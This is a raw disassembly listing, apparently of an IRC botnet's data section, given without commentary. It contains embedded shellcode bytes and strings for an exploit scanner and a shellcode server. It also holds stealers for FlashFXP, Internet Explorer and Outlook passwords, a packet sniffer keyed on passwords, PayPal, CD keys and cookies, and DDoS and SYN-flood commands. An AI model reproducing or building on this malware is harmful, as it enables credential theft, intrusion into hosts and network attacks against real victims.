0DF03245Eh, 8B0B8B66h, 0DF031C5Eh, 38B048Bh dd 0FF5B5EC7h, 33685EE0h, 68000032h, 5F327377h, 6E92BA54h dd 0D6FF8404h, 8B0C4589h, 46A53F8h, 475FF55h, 669000BAh dd 83D6FFE0h, 850F04F8h, 0C5h, 0E8087D8Bh, 0Dh, 3 dup(0) dd 18458F00h, 6A026A53h, 68535301h, 0C0000000h, 0BA1875FFh dd 5C6BD33Dh, 4589D6FFh, 840F401Ch, 8Dh, 330C7D8Bh, 2B450C0h dd 1475FF50h, 0BA0475FFh, 0E2605800h, 7D8BD6FFh, 74C08508h dd 41C88B1Eh, 8D535774h, 5051104Dh, 0FF1475FFh, 0B9BA1C75h dd 0FFCBF5BEh, 74C085D6h, 0FFC5EB40h, 5CBA1C75h, 0FF9DC593h dd 58446AD6h, 0FC8BE02Bh, 33ABD78Bh, 59106AC0h, 8BFDE2ABh dd 5252087Dh, 50505050h, 0FF505050h, 2CBA1875h, 0FF2694F1h dd 0C7FE58D6h, 1BA5053h, 0FFDE34D6h, 1C75FFD6h, 0C5935CBAh dd 0FFD6FF9Dh, 3DBA1875h, 0FF27CF53h, 0C7D8BD6h, 0BA0475FFh dd 7315685h, 7D8BD6FFh, 46BABA08h, 0D6FFC10Ch db 0 byte_41668D db 0E3h ; DATA XREF: sub_40D700+ACr ; sub_40D700+D8w align 10h dword_416690 dd 4113E68Bh ; DATA XREF: sub_40D700+49r ; sub_40D700+98w align 8 off_416698 dd offset dword_4166F0 ; DATA XREF: sub_40D88A+40r dd offset dword_4166E4 dd offset dword_4166D8 dd offset dword_4166C8 dd offset dword_4166BC dd offset dword_4166D8 dd 3 dup(0) dword_4166BC dd 8BD1FCAFh, 2 dup(0) ; DATA XREF: .data:004166A8o ; .data:004177C8o dword_4166C8 dd 8A8FEAFAh, 0C88DD2CDh, 0DEh, 0 ; DATA XREF: .data:004166A4o ; .data:004177C4o dword_4166D8 dd 0F5A78DC6h, 2 dup(0) ; DATA XREF: .data:004166A0o ; .data:004166ACo ... dword_4166E4 dd 8AD0FDAEh, 2 dup(0) ; DATA XREF: .data:0041669Co ; .data:off_4177BCo dword_4166F0 dd 0D088EAFAh, 8F8C90CDh, 9AE3C7h, 0 ; DATA XREF: .data:off_416698o ; .data:off_4177B8o dword_416700 dd 72h ; DATA XREF: sub_40DA6E+F4o dword_416704 dd 62h ; DATA XREF: sub_40DB90+7Fo dword_416708 dd 63h ; DATA XREF: sub_40DC48+3Ao dword_41670C dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 7320676Eh ; DATA XREF: sub_40DCB8+66o dd 6C6C6568h, 65646F63h, 72657320h, 20726576h, 70206E6Fh dd 2074726Fh, 2343003h, 2037325h, 0 dword_416744 dd 6C656853h, 646F636Ch, 65732065h, 72657672h, 206E6F20h ; DATA XREF: sub_40DD96+79o dd 74726F70h, 34300320h, 3752502h, 2 dword_416768 dd 0DF86A7F2h ; DATA XREF: sub_40D9B4+2Dr ; sub_40E18A+57o ... dd 3 dup(0) dd 0A7000000h, 0DCF7h, 3 dup(0) db 2 dup(0) word_41678E dw 6BA4h ; DATA XREF: sub_40DE2B+2Do dd 92A5h db 2 dup(0) off_416796 dd offset sub_40B27D ; DATA XREF: sub_40D9B4+5r ; sub_40D9B4+Do ... dw 3 dd 0 dd 0A7F20000h, 9ADF86h, 3 dup(0) dd 0DCF7A700h, 4 dup(0) dd 0CFD56AD8h, 0 dd offset sub_40B4D5 dd 3, 0 dd 0C188B7FAh, 0DBh, 2 dup(0) dd 0A2000000h, 0DCF0h, 3 dup(0) dd 1C900000h, 15E3h, 0BB6E0000h, 30040h, 0 dd 0AAE60000h, 99h, 3 dup(0) dd 0DCF0A200h, 4 dup(0) dd 0B4796D69h, 0 dd offset sub_40C0F9 dd 3, 0 dd 8099AAE6h, 3 dup(0) dd 0A2000000h, 0DCF0h, 3 dup(0) dd 9B9A0000h, 0EABDh, 0C1070000h, 30040h, 0 dd 0AFE10000h, 9Ah, 3 dup(0) dd 0DCF7A700h, 4 dup(0) dd 3D4FB2B6h, 0 dd offset sub_40C73D dd 3, 0 dd 809AAFE1h, 3 dup(0) dd 0A7000000h, 0DCF7h, 3 dup(0) dd 4CE20000h, 5CB0h, 0C73D0000h, 30040h, 0 dd 0AFE10000h, 819Ah, 3 dup(0) dd 0DCF0A200h, 4 dup(0) dd 4B2A93EBh, 0 dd offset sub_40C73D dd 3, 0 dd 869AAFE1h, 3 dup(0) dd 0A2000000h, 0DCF0h, 3 dup(0) dd 0EE470000h, 0B7B0h, 0C73D0000h, 30040h, 0 dd 0A5F20000h, 9DDFD784h, 0C49Dh, 2 dup(0) dd 0DBF5A000h, 8Bh, 3 dup(0) dd 0D674CFFCh, 0 dd offset sub_40AE3D dd 1, 0 dd 0D784A5F2h, 0C49D9DDFh, 96h, 0 dd 0A0000000h, 8BDBF5h, 3 dup(0) dd 0C3600000h, 0ADA1h, 0B11C0000h, 10040h, 0 dd 0B7FB0000h, 0C4C39Ah, 3 dup(0) dd 0DAF0A700h, 81h, 3 dup(0) dd 6013D920h, 0 dd offset sub_40BCAB dd 1, 0 ; --------------------------------------------------------------------------- sti mov bh, 9Ah retn ; --------------------------------------------------------------------------- dd 0D28E8CC4h, 0D7h, 0 dd 0A7000000h, 81DAF0h, 3 dup(0) dd 0FCE70000h, 0B240h, 0BE070000h, 10040h, 0 dd 0ADF50000h, 0C7D19Ah, 3 dup(0) dd 0F7A400h, 4 dup(0) dd 0FAA3DD70h, 0 dd offset sub_40AC87 dd 11h dup(0) dword_416AD0 dd 6E695728h, 293233h ; DATA XREF: sub_40DE7D+18Do dword_416AD8 dd 696E5528h, 2978h ; DATA XREF: sub_40DE7D+16Fo dword_416AE0 dd 63617041h, 252F6568h, 75h ; DATA XREF: sub_40DE7D+162o aApache db 'Apache',0 ; DATA XREF: sub_40DE7D+149o align 4 aMicrosoftIisU_ db 'Microsoft-IIS/%u.%u',0 ; DATA XREF: sub_40DE7D+EAo aMicrosoftIis db 'Microsoft-IIS',0 ; DATA XREF: sub_40DE7D+CAo align 4 aServer db 'Server:',0 ; DATA XREF: sub_40DE7D+72o aOptionsHttp1_0 db 'OPTIONS / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40DE7D+Eo db 0Dh,0Ah,0 align 4 unk_416B38 db 53h ; S ; DATA XREF: sub_40E18A+475o db 63h, 61h, 6Eh db 6Eh ; n db 65h, 64h, 20h db 3 db 30h, 34h, 2 db 25h ; % db 73h, 3, 2 db 3Ah ; : db 25h, 73h, 20h db 69h ; i db 6Eh, 20h, 3 db 30h ; 0 db 34h, 2, 25h db 30h ; 0 db 2Eh, 32h, 66h db 3 db 2, 73h, 65h db 63h ; c db 2Eh, 20h, 3 db 30h ; 0 db 34h, 2, 25h db 75h ; u db 3, 2, 20h aOpenIpSFound db 'open IP(s) found',0 align 4 dword_416B7C dd 2343003h, 2037325h, 2073253Ah, 6F207369h, 6E6570h ; DATA XREF: sub_40E18A+412o dword_416B90 dd 3430032Dh, 3752502h, 53202D02h, 6E6E6163h, 20676E69h ; DATA XREF: sub_40E18A+26Ao dd 2343003h, 2037325h, 2073253Ah, 20726F66h, 2343003h dd 2037525h, 63657320h, 28646E6Fh, 2973h dword_416BC8 dd 6E616353h, 676E696Eh, 34300320h, 3732502h, 73253A02h ; DATA XREF: sub_40E18A+234o dd 726F6620h, 34300320h, 3752502h, 65732002h, 646E6F63h dd 297328h unk_416BF4 db 53h ; S ; DATA XREF: sub_40E629+186o db 63h, 61h, 6Eh db 6Eh ; n db 69h, 6Eh, 67h db 20h db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 db 3Ah, 25h, 73h db 20h db 66h, 6Fh, 72h db 20h db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aSecondSTUSU db ' second(s), t:%u s:%u',0 align 4 dword_416C2C dd 3430032Dh, 3752502h, 41202D02h, 6D657474h, 64657470h ; DATA XREF: sub_40E7C8+24Ao dd 34300320h, 3752502h, 78652002h, 696F6C70h, 69746174h dd 73286E6Fh, 6E6F2029h, 34300320h, 3752502h, 50492002h dd 2E297328h, 0 dword_416C70 dd 65747441h, 6974706Dh, 7420676Eh, 7865206Fh, 696F6C70h ; DATA XREF: sub_40E7C8+1F6o dd 30032074h, 73250234h, 77200203h, 20687469h, 2343003h dd 2037325h, 2E2E2Eh unk_416CA0 db 2Dh ; - ; DATA XREF: sub_40E7C8+39o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aAttemptingTo_0 db '- Attempting to exploit IP',27h,'s in list.',0 align 10h aAttemptingToEx db 'Attempting to exploit IP',27h,'s in list.',0 ; DATA XREF: sub_40EA34+43o dword_416CF4 dd 3003203Ah, 75250234h, 202E0203h, 0 ; DATA XREF: sub_40EA8E+7Do aExploitStatist db 'Exploit statistics - ',0 ; DATA XREF: sub_40EA8E+2Co align 4 aListingExploit db 'Listing exploit statistics',0 ; DATA XREF: sub_40EB64+21o align 4 dword_416D38 dd 62616E55h, 7420656Ch, 6F63206Fh, 63656E6Eh, 6F742074h ; DATA XREF: sub_40EB9C:loc_40EC48o dd 34300320h, 3732502h, 6F702002h, 3207472h, 25023430h dd 2E020373h, 0 dword_416D68 dd 656D6954h, 2074756Fh, 7563636Fh, 20646572h, 6C696877h ; DATA XREF: sub_40EB9C+A5o dd 6F632065h, 63656E6Eh, 676E6974h, 206F7420h, 2343003h dd 2037325h, 3430033Ah, 3732502h, 202E02h dword_416DA0 dd 6E6E6F43h, 65746365h, 6F742064h, 34300320h, 3732502h ; DATA XREF: sub_40EB9C+72o dd 30033A02h, 73250234h, 69200203h, 3003206Eh, 75250234h dd 203736Dh, 2Eh dword_416DD0 dd 6E6E6F43h, 69746365h, 7420676Eh, 7325206Fh, 726F7020h ; DATA XREF: sub_40EC6F+A7o dd 30032074h, 73250234h, 203h unk_416DF0 db 53h ; S ; DATA XREF: sub_40ED30+1B4o db 63h, 61h, 6Eh db 6Eh ; n db 65h, 64h, 20h db 25h ; % db 73h, 20h, 69h db 6Eh ; n db 20h, 3, 30h db 34h ; 4 db 2, 25h, 30h db 2Eh ; . db 32h, 66h, 3 db 2 db 73h, 65h, 63h db 2Eh ; . db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 20h, 6Fh aPenPortSFound db 'pen port(s) found',0 align 4 dword_416E2C dd 33A7325h, 25023430h, 20020373h, 6F207369h, 6E6570h ; DATA XREF: sub_40ED30+164o dword_416E40 dd 3430032Dh, 3752502h, 53202D02h, 6E6E6163h, 20676E69h ; DATA XREF: sub_40ED30+81o dd 70207325h, 2074726Fh, 2343003h, 2037525h, 3430032Dh dd 3752502h, 69772002h, 3206874h, 25023430h, 20020375h dd 6B636F73h, 73287465h, 29h dword_416E88 dd 6E616353h, 676E696Eh, 20732520h, 74726F70h, 34300320h ; DATA XREF: sub_40EF0E+15Fo dd 3752502h, 30032D02h, 75250234h, 77200203h, 20687469h dd 2343003h, 2037525h, 636F7320h, 2874656Bh, 2973h aYa36za48dehfrv db 'yA36zA48dEhfrvghGRg57h5UlDv3',0 ; DATA XREF: sub_40F089+15o ; sub_40F089+73o align 4 aSflashfxpSites db '%sFlashFXP\sites.dat',0 ; DATA XREF: sub_40F11A+DAo align 4 aFlashfxpSites_ db '\FlashFXP\sites.dat',0 ; DATA XREF: sub_40F11A+9Co aProgramfiles db 'ProgramFiles',0 ; DATA XREF: sub_40F11A+91o align 10h aSites_dat db 'sites.dat',0 ; DATA XREF: sub_40F11A+6Co align 4 aFlashfxp_exe1 db 'FlashFXP.exe %1',0 ; DATA XREF: sub_40F11A+55o aSoftwareClasse db 'SOFTWARE\Classes\Applications\FlashFXP.exe\shell\open\command',0 ; DATA XREF: sub_40F11A+15o align 4 unk_416F7C db 2Dh ; - ; DATA XREF: sub_40F21F+2D3o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 69h ; i db 73h, 74h, 65h db 64h ; d db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 2Fh, 3 db 30h ; 0 db 34h, 2, 25h db 75h ; u db 3, 2, 20h aFlashfxpPass_0 db 'FlashFXP password(s).',0 align 4 dword_416FB8 dd 2343003h, 2037525h ; DATA XREF: sub_40F21F+27Ao a_FlashfxpFtpSS db '. FlashFXP - ftp://%s:%s@%s:%s - %s',0 aPass127s db 0Dh,0Ah ; DATA XREF: sub_40F21F+219o db 'Pass=%127s',0Dh,0Ah,0 align 4 aUser127s db 0Dh,0Ah ; DATA XREF: sub_40F21F+202o db 'User=%127s',0Dh,0Ah,0 align 4 aPort127s db 0Dh,0Ah ; DATA XREF: sub_40F21F+1EBo db 'Port=%127s',0Dh,0Ah,0 align 4 aIp127s db 0Dh,0Ah ; DATA XREF: sub_40F21F+1D4o db 'IP=%127s',0Dh,0Ah,0 align 4 asc_417024 db '[%[^]]]',0Dh,0Ah,0 ; DATA XREF: sub_40F21F+1A7o align 10h aPass_0 db 0Dh,0Ah ; DATA XREF: sub_40F21F+130o db 'Pass=',0 aUser_0 db 0Dh,0Ah ; DATA XREF: sub_40F21F+122o db 'User=',0 aPort db 0Dh,0Ah ; DATA XREF: sub_40F21F+114o db 'Port=',0 aIp db 0Dh,0Ah ; DATA XREF: sub_40F21F+107o db 'IP=',0 align 10h asc_417050 db 0Dh,0Ah ; DATA XREF: sub_40F21F:loc_40F31Bo db 0Dh,0Ah db '[',0 align 4 unk_417058 db 2Dh ; - ; DATA XREF: sub_40F21F+5Co db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aListingFlashfx db '- Listing FlashFXP passwords',0 align 10h aFlashfxpPasswo db 'FlashFXP password stealer',0 ; DATA XREF: sub_40F515+21o align 4 unk_41709C db 2Dh ; - ; DATA XREF: sub_40F54D+718o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 69h ; i db 73h, 74h, 65h db 64h ; d db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 20h, 69h aNternetExplore db 'nternet explorer password(s).',0 align 4 dword_4170D8 dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6D6F436Fh ; DATA XREF: sub_40F54D+688o dd 74656C70h, 61502065h, 6F777373h, 20736472h, 6953202Dh dd 203A6574h, 2343003h, 2037325h, 614E202Eh, 203A656Dh dd 2343003h, 2037325h, 6150202Eh, 6F777373h, 203A6472h dd 2343003h, 2037325h, 2Eh dword_417134 dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6F43206Fh ; DATA XREF: sub_40F54D+5F2o dd 656C706Dh, 66206574h, 646C6569h, 202D2073h, 6C656946h dd 3203A64h, 25023430h, 2E020373h, 74614420h, 3203A61h dd 25023430h, 2E020373h, 0 dword_41717C dd 70747468h, 2F3A73h ; DATA XREF: sub_40F54D+5B0o dword_417184 dd 70747468h, 2F3Ah ; DATA XREF: sub_40F54D+599o dword_41718C dd 7274533Ah, 676E69h ; DATA XREF: sub_40F54D+554o aStringindex db 'StringIndex',0 ; DATA XREF: sub_40F54D+53Fo aE161255a db 'e161255a',0 ; DATA XREF: sub_40F54D+525o align 4 dword_4171AC dd 2343003h, 2037525h, 534D202Eh, 7845204Eh, 726F6C70h ; DATA XREF: sub_40F54D+4FEo dd 2D207265h, 4E534D20h, 3A444920h, 34300320h, 3732502h dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h dd 2E02h dword_4171EC dd 2Ch ; DATA XREF: sub_40F54D+442o ; sub_40F54D+619o aB9819c52 db 'b9819c52',0 ; DATA XREF: sub_40F54D+3B7o align 4 dword_4171FC dd 2343003h, 2037525h, 4549202Eh, 7361503Ah, 726F7773h ; DATA XREF: sub_40F54D+3A3o dd 72502D64h, 6365746Fh, 20646574h, 6953202Dh, 203A6574h dd 2343003h, 2037325h, 614E202Eh, 203A656Dh, 2343003h dd 2037325h, 6150202Eh, 6F777373h, 203A6472h, 2343003h dd 2037325h, 2Eh a5e7e8100 db '5e7e8100',0 ; DATA XREF: sub_40F54D+310o align 10h dword_417260 dd 2343003h, 2037525h, 754F202Eh, 6F6F6C74h, 7078456Bh ; DATA XREF: sub_40F54D+2FCo dd 73736572h, 4E202D20h, 3A656D61h, 34300320h, 3732502h dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h dd 2E02h a220d5cc1 db '220d5cc1',0 ; DATA XREF: sub_40F54D+2CEo align 4 aWs db '%ws',0 ; DATA XREF: sub_40F54D+1FAo asc_4172B0 db '%x',0 ; DATA XREF: sub_40F54D+117o align 4 unk_4172B4 db 2Dh ; - ; DATA XREF: sub_40F54D+B0o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aListingInterne db '- Listing internet explorer passwords',0 align 8 dword_4172E8 dd 5A6F1EC0h, 11D02DB1h, 0C000398Ch, 6B12D94Fh ; DATA XREF: sub_40F54D+85o ; sub_40F54D+154o ... aInternetExplor db 'Internet explorer password stealer',0 ; DATA XREF: sub_40FCB2+2Ao align 4 dword_41731C dd 65746E49h, 74736572h, 20676E69h, 636F7270h, 65737365h ; DATA XREF: sub_40FD00+180o dd 202D2073h, 75736956h, 43206C61h, 36202B2Bh, 3003203Ah dd 73250234h, 202E0203h, 65726E55h, 52496C61h, 203A4443h dd 2343003h, 2037325h, 7453202Eh, 3A6D6165h, 34300320h dd 3732502h, 57202E02h, 646C726Fh, 20664F20h, 63726157h dd 74666172h, 3003203Ah, 73250234h, 202E0203h, 716E6F43h dd 20726575h, 696C6E4Fh, 203A656Eh, 2343003h, 2037325h dd 2Eh aSoftwareValveS db 'Software\Valve\Steam',0 ; DATA XREF: sub_40FD00+EFo align 4 aSoftwareMicr_0 db 'SOFTWARE\Microsoft\VisualStudio\6.0\Setup\Microsoft Visual C++',0 ; DATA XREF: sub_40FD00+BFo align 4 aConquer db '[Conquer]',0 ; DATA XREF: sub_40FD00+91o align 10h aWorldOfWarcraf db 'World Of Warcraft',0 ; DATA XREF: sub_40FD00+77o align 4 aUnreal3 db 'Unreal3',0 ; DATA XREF: sub_40FD00+59o aListingInteres db 'Listing interesting processes',0 ; DATA XREF: sub_40FEA2+21o align 4 off_41744C dd offset aUser_1 ; DATA XREF: sub_40FF2A+2Do ; "user " dd offset aUnknown_1 ; "unknown " dd offset aPass_2 ; "pass " dd offset aMailpass ; "MailPass " dd offset aOper ; "oper " dd 0 dd offset aIdentify ; "identify " dd 0 dd offset aAuth_0 ; " :auth " dd 0 dd offset aPasswd_0 ; "passwd=" dd 0 dd offset aUsername_0 ; "username=" dd 0 dd offset aPassword_0 ; "password=" dd 0 dd offset aLogin_1 ; "login=" dd 0 dd offset aPass_1 ; "pass=" dd 0 dd offset aPw ; "pw=" dd 2 dup(0) off_4174A8 dd offset aLogin_0 ; DATA XREF: sub_40FF2A+45o ; "login " align 10h dd offset aSxt ; "sxt " align 8 dd offset aAuth ; "auth " align 10h dd offset aPasswort ; "passwort " align 8 dd offset aCdkey ; "cdkey" align 10h dd offset aCdKey_0 ; "cd-key" align 8 dd offset aCdKey ; "cd key" align 10h dd offset aPassword ; "password" align 8 dd offset aPaypal_com ; "paypal.com" align 10h dd offset aPaypal ; "paypal" align 8 dd offset aIrcOperator ; "irc operator" align 10h dd offset aLP ; "l/p" align 8 dd offset aSsh1_5 ; "SSH-1.5" align 10h dd offset aSsh1_99 ; "SSH-1.99" dd 2 dup(0) off_41751C dd offset aSetCookie ; DATA XREF: sub_40FF2A+5Do ; "Set-Cookie:" dd 0 dd offset aSyn ; "syn" dd 0 dd offset aFlood ; "flood " dd 0 dd offset aClone ; "clone " dd 0 dd offset aServU_0 ; "serv-u" dd 0 dd offset aServU ; "serv u" dd 0 dd offset aServu ; "servu" dd 0 dd offset aDdos ; "ddos" align 10h off_417560 dd offset dword_4175BC ; DATA XREF: sub_40FF2A+75o align 8 dd offset dword_4175B4 align 10h dd offset dword_4175AC align 8 dd offset dword_4175A4 align 10h dd offset dword_41759C align 8 dd offset dword_417594 dd 2 dup(0) dword_417594 dd 54495551h, 20h ; DATA XREF: .data:00417588o dword_41759C dd 54524150h, 20h ; DATA XREF: .data:00417580o dword_4175A4 dd 4E494F4Ah, 20h ; DATA XREF: .data:00417578o dword_4175AC dd 49504F54h, 2043h ; DATA XREF: .data:00417570o dword_4175B4 dd 49544F4Eh, 204543h ; DATA XREF: .data:00417568o dword_4175BC dd 56495250h, 2047534Dh, 0 ; DATA XREF: .data:off_417560o aDdos db 'ddos',0 ; DATA XREF: .data:00417554o align 10h aServu db 'servu',0 ; DATA XREF: .data:0041754Co align 4 aServU db 'serv u',0 ; DATA XREF: .data:00417544o align 10h aServU_0 db 'serv-u',0 ; DATA XREF: .data:0041753Co align 4 aClone db 'clone ',0 ; DATA XREF: .data:00417534o align 10h aFlood db 'flood ',0 ; DATA XREF: .data:0041752Co align 4 aSyn db 'syn',0 ; DATA XREF: .data:00417524o aSetCookie db 'Set-Cookie:',0 ; DATA XREF: .data:off_41751Co aSsh1_99 db 'SSH-1.99',0 ; DATA XREF: .data:00417510o align 4 aSsh1_5 db 'SSH-1.5',0 ; DATA XREF: .data:00417508o aLP db 'l/p',0 ; DATA XREF: .data:00417500o aIrcOperator db 'irc operator',0 ; DATA XREF: .data:004174F8o align 10h aPaypal db 'paypal',0 ; DATA XREF: .data:004174F0o align 4 aPaypal_com db 'paypal.com',0 ; DATA XREF: .data:004174E8o align 4 aCdKey db 'cd key',0 ; DATA XREF: .data:004174D8o align 4 aCdKey_0 db 'cd-key',0 ; DATA XREF: .data:004174D0o align 4 aCdkey db 'cdkey',0 ; DATA XREF: .data:004174C8o align 4 aPasswort db 'passwort ',0 ; DATA XREF: .data:004174C0o align 4 aAuth db 'auth ',0 ; DATA XREF: .data:004174B8o align 10h aSxt db 'sxt ',0 ; DATA XREF: .data:004174B0o align 4 aLogin_0 db 'login ',0 ; DATA XREF: .data:off_4174A8o align 10h aPw db 'pw=',0 ; DATA XREF: .data:0041749Co aPass_1 db 'pass=',0 ; DATA XREF: .data:00417494o align 4 aLogin_1 db 'login=',0 ; DATA XREF: .data:0041748Co align 4 aPassword_0 db 'password=',0 ; DATA XREF: .data:00417484o align 10h aUsername_0 db 'username=',0 ; DATA XREF: .data:0041747Co align 4 aPasswd_0 db 'passwd=',0 ; DATA XREF: .data:00417474o aAuth_0 db ' :auth ',0 ; DATA XREF: .data:0041746Co aIdentify db 'identify ',0 ; DATA XREF: .data:00417464o align 4 aOper db 'oper ',0 ; DATA XREF: .data:0041745Co align 10h aMailpass db 'MailPass ',0 ; DATA XREF: .data:00417458o align 4 aPass_2 db 'pass ',0 ; DATA XREF: .data:00417454o align 4 aUnknown_1 db 'unknown ',0 ; DATA XREF: .data:00417450o align 10h aUser_1 db 'user ',0 ; DATA XREF: .data:off_41744Co align 4 dword_4176F8 dd 70737553h, 6F696369h, 70207375h, 656B6361h, 72662074h ; DATA XREF: sub_40FFBC+379o dd 3206D6Fh, 25023430h, 3A020373h, 2343003h, 2037525h dd 73253E2Dh, 2075253Ah, 0 unk_41772C db 2Dh ; - ; DATA XREF: sub_40FFBC+FBo db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 65h ; e db 76h, 65h, 6Ch db 20h db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aPacketSnifferR db ' packet sniffer running',0 align 10h dword_417760 dd 6576654Ch, 3003206Ch, 75250234h, 70200203h, 656B6361h ; DATA XREF: sub_41041B+6Fo dd 6E732074h, 65666669h, 72h, 417784h, 0DE86ABE6h, 0D19B9286h dd 0FE85E38Ah, 2 dup(0) dword_417798 dd 9EC754A2h ; DATA XREF: seg000:004105A3r ; seg000:00410627o dword_41779C dd 0FE66D46Ah ; DATA XREF: seg000:0041059Cr dword_4177A0 dd 24016BE8h ; DATA XREF: seg000:00410591r dword_4177A4 dd 58A92B8h ; DATA XREF: seg000:0041058Br dd 0 off_4177AC dd offset dword_417A7C ; DATA XREF: sub_4098BB+108r ; sub_4098BB+110o ... dd 2 dup(0) off_4177B8 dd offset dword_4166F0 ; DATA XREF: sub_408832+51r ; sub_408832+59o ... off_4177BC dd offset dword_4166E4 ; DATA XREF: sub_408832+85r off_4177C0 dd offset dword_4166D8 ; DATA XREF: sub_408832+96r dd offset dword_4166C8 dd offset dword_4166BC dd offset dword_4166D8 dd 3 dup(0) ; --------------------------------------------------------------------------- loc_4177DC: ; DATA XREF: sub_4088FC+126o ; sub_408F9D+27Bo test eax, 978DD6FBh retn ; --------------------------------------------------------------------------- dw 9ED0h dd 2 dup(0) dword_4177EC dd 6F7823h, 1Fh dup(0) ; DATA XREF: sub_40287C+109o ; sub_4064A0+59o ... byte_41786C db 0B5h ; DATA XREF: sub_4088FC+23Er ; sub_4088FC+24Do db 0BCh, 86h, 9Fh dd 0C0h, 1Eh dup(0) byte_4178EC db 0 ; DATA XREF: sub_4088FC+261r ; sub_4088FC+26Fo align 10h dd 1Fh dup(0) dword_41796C dd 3430032Eh, 4F4E4102h, 203h ; DATA XREF: sub_40735A:loc_408362o ; sub_408F9D+206o dword_417978 dd 0D18BA1E1h, 8FDDCFC4h, 9BE0C0h, 3Eh dup(0) ; DATA XREF: sub_4045E4+33o ; sub_404691+32o dword_417A7C dd 0DD9184BCh, 2 dup(0) ; DATA XREF: .data:off_4177ACo dword_417A88 dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: seg000:00410802o aEipHasLeftTheE db '- eip has left the endless loop for some reason...',0 align 4 aEntry db 'entry',0 ; DATA XREF: seg000:004107DBo align 10h aLoop db 'loop',0 ; DATA XREF: seg000:loc_4107A7o align 4 aPing08x db 'PING :%08X',0 ; DATA XREF: seg000:0041074Co align 4 a08xX08x3x08x08 db '%08x%x%08x%3x%08x%08x',0 ; DATA XREF: seg000:004105A9o align 10h dword_417B00 dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bh ; DATA XREF: sub_410B6E+15o off_417B10 dd offset off_4112CC ; DATA XREF: seg001:off_4112D0o ; seg001:0041130Co ... align 8 a_?av_com_error db '.?AV_com_error@@',0 align 10h off_417B30 dd offset off_4112CC ; DATA XREF: seg001:off_411318o ; seg001:00411354o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dword_417B48 dd 0 ; DATA XREF: sub_401534:loc_401548r ; sub_401621+143w dword_417B4C dd 0 ; DATA XREF: sub_401534:loc_401555r ; sub_401621+14Bw ... dword_417B50 dd 0 ; DATA XREF: sub_401534:loc_401562r ; sub_401621+ACo ... dword_417B54 dd 0 ; DATA XREF: sub_401534r ; sub_401621+13Bw ... dd 0 dword_417B5C dd 0 ; DATA XREF: sub_401571+35r ; sub_401571+50r ... byte_417B60 db 0 ; DATA XREF: sub_401621+10Bo ; sub_402230+3Br ... align 8 dword_417B68 dd 0 ; DATA XREF: sub_40287C+1Dr ; sub_4038E1:loc_4038F3r ... dword_417B6C dd 0 ; DATA XREF: sub_40287C+Eo dword_417B70 dd 77E7C706h ; DATA XREF: sub_402D7B+21w ; sub_406AB6+Fr align 8 dword_417B78 dd 71C245E0h ; DATA XREF: sub_402D7B+42w dword_417B7C dd 71C243F6h ; DATA XREF: sub_402D7B+4Fw dword_417B80 dd 71C59904h ; DATA XREF: sub_402D7B+5Cw dword_417B84 dd 71C453F8h ; DATA XREF: sub_402D7B+69w dword_417B88 dd 71C2FA86h ; DATA XREF: sub_402D7B+76w dword_417B8C dd 71C574FAh ; DATA XREF: sub_402D7B+83w dword_417B90 dd 71C214BAh ; DATA XREF: sub_402D7B+90w dword_417B94 dd 71C4A1B4h ; DATA XREF: sub_402D7B+9Dw dword_417B98 dd 71C59530h ; DATA XREF: sub_402D7B+A4w dword_417B9C dd 71B2ACCBh ; DATA XREF: sub_402D7B+C4w ; sub_40C225+12r ... dword_417BA0 dd 71B22C25h ; DATA XREF: sub_402D7B+D1w dword_417BA4 dd 71B2A381h ; DATA XREF: sub_402D7B+DEw ; sub_40C225+1Er ... dword_417BA8 dd 71B28D0Dh ; DATA XREF: sub_402D7B+E5w dword_417BAC dd 7622A3F4h ; DATA XREF: sub_402D7B+17Aw ; sub_405E4E+D3r dword_417BB0 dd 5E0C4E7Dh ; DATA XREF: sub_402D7B+162w ; sub_40F54D+41r ... dword_417BB4 dd 71AB33DFh ; DATA XREF: sub_402D7B+101w ; sub_402D7B+115r ... dword_417BB8 dd 71ABC076h ; DATA XREF: sub_401B81+9Ar ; sub_402D7B+10Ew ... dword_417BBC dd 71AB3A2Ch ; DATA XREF: sub_402D7B+11Cw ; sub_402D7B+145w ... dd 101h dup(0) dword_417FC4 dd 0 ; DATA XREF: sub_4032EFr ; sub_4032EF+1Bo dword_417FC8 dd 0 ; DATA XREF: sub_4032EF+Fo ; sub_4032EF:loc_403317r align 10h dword_417FD0 dd 76BF1C22h ; DATA XREF: sub_403E9B+40w ; sub_403E9B+63r ... dword_417FD4 dd 76BF1D54h ; DATA XREF: sub_403E9B+4Dw ; sub_403E9B+6Cr ... dword_417FD8 dd 76BF1E6Ch ; DATA XREF: sub_403E9B+5Bw ; sub_403F1D+150r dword_417FDC dd 76BF32DDh ; DATA XREF: sub_403E9B+33w ; sub_403E9B+54r ... dword_417FE0 dd 14AE70h, 0FFFFFFFFh, 5 dup(0) ; DATA XREF: sub_403E9B+1o ; sub_403F1D+Co ... byte_417FFC db 1 ; DATA XREF: sub_403E9B+79w ; sub_403F1D+16r align 10h dword_418000 dd 0 ; DATA XREF: sub_406324:loc_406394w ; sub_40640D:loc_406474r align 8 dword_418008 dd 14AE98h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_40647C+16o ; sub_40663C+7o ... dword_418020 dd 0 ; 